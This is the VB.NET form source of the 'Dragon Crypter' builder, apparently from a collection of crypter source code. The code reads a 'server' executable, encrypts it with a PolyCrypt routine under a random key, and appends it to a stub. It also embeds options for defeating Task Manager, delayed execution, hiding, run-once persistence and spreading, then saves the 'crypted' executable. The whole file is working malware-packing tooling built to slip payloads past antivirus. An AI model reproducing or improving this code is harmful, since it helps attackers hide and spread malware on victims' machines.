crypters-scode/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/Form1.vb

Public Class Form1

    Const hamza = "%%HACKERSDZ%%Devpoint&&$$$Hamza££££"
    Dim AntiTas, Sleepp, Hid, RunOnce, Spread As String

    Dim DOTP As String = ""

    Dim stub As String

    Private Sub StButton1_Click(sender As Object, e As EventArgs) Handles StButton1.Click
        Try
            Dim ofd As New OpenFileDialog
            ofd.Title = " Server"
            ofd.Filter = ".exe | *.exe"
            ofd.ShowDialog()
            LogInNormalTextBox2.Text = ofd.FileName

        Catch ex As Exception


        End Try
    End Sub

    Private Sub StButton2_Click(sender As Object, e As EventArgs) Handles StButton2.Click
        Try
            Dim ofd As New OpenFileDialog
            ofd.Title = "Stub"
            ofd.Filter = ".exe | *.exe"
            ofd.ShowDialog()
            LogInNormalTextBox1.Text = ofd.FileName
           
        Catch ex As Exception


        End Try
    End Sub
    Public Function GeneratePassword(ByVal Uppers As Boolean, ByVal Lowers As Boolean, ByVal Numbers As Boolean, ByVal Specials As Boolean, ByVal passwordLength As Integer) As String
        Dim H As String = ""
        Dim Black As String = ""

        If Uppers Then
            H = (H & "あいうえおはひふへほもめみまこけくきかẦḆḈḒḔ123456789AZERTYUIOPQSSDFGHJKLMWXCVBN頂革難六五四事亊争予与ӨҞώϟωϐϚЀӔөӧҶҼҘқҍ")
        End If

        VBMath.Randomize()
        Dim num2 As Integer = (passwordLength - 1)
        Dim i As Integer = 0
        Do While (i <= num2)
            Black = (Black & Strings.Mid(H, CInt(Math.Round(CDbl(((Strings.Len(H) * VBMath.Rnd) + 1.0!)))), 1))
            i += 1
        Loop
        Return Black
    End Function
    Private Sub StButton3_Click(sender As Object, e As EventArgs) Handles StButton3.Click

        LogInNormalTextBox3.Text = (GeneratePassword(True, True, False, False, 60))

    End Sub

    Private Sub StButton4_Click(sender As Object, e As EventArgs) Handles StButton4.Click
        Try
            Dim sfd As New SaveFileDialog

            LogInProgressBar1.Value = 10

            Dim sfdname As String

            sfd.Title = "Save Crypted File"

            sfd.Filter = ".exe | *.exe"

            sfd.ShowDialog()

            sfdname = sfd.FileName

            LogInProgressBar1.Value = 30

            If StCheckBox2.Checked = True Then : AntiTas = True : Else : AntiTas = False : End If


            If StCheckBox1.Checked = True Then : Sleepp = True : Else : Sleepp = False : End If


            If StCheckBox4.Checked = True Then : Hid = True : Else : Hid = False : End If


            If StCheckBox3.Checked = True Then : RunOnce = True : Else : RunOnce = False : End If


            If StCheckBox5.Checked = True Then : Spread = True : Else : Spread = False : End If


            LogInProgressBar1.Value = 60

            If LogInNormalTextBox3.Text = "" Then
                MsgBox("Please Generate A Key ", MsgBoxStyle.Information, "Invalid Key")
                Exit Sub
            Else


                Dim DZ As New PXOR(LogInNormalTextBox3.Text)

                Dim DEV As String = LogInNormalTextBox2.Text

                Dim dddd As String = LogInNormalTextBox1.Text

                FileOpen(1, DEV, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)

                DOTP = Space(LOF(1))

                FileGet(1, DOTP)

                FileClose(1)

                FileOpen(1, dddd, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)

                stub = Space(LOF(1))

                FileGet(1, stub)

                FileClose(1)

                FileOpen(1, sfdname, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)

                LogInProgressBar1.Value = 70

                FilePut(1, stub & hamza & DZ.PolyCrypt(DOTP) & hamza & LogInNormalTextBox3.Text & hamza & AntiTas & hamza & Sleepp & hamza & Hid & hamza & RunOnce & hamza & Spread)

                FileClose(1)

                LogInProgressBar1.Value = 100

                MsgBox("Your Server Has Been Crypted^^", MsgBoxStyle.Information, "^^Crypted^^")

                Invalidate()

                Refresh()


            End If
        Catch ex As Exception

        End Try


    End Sub

    
End Class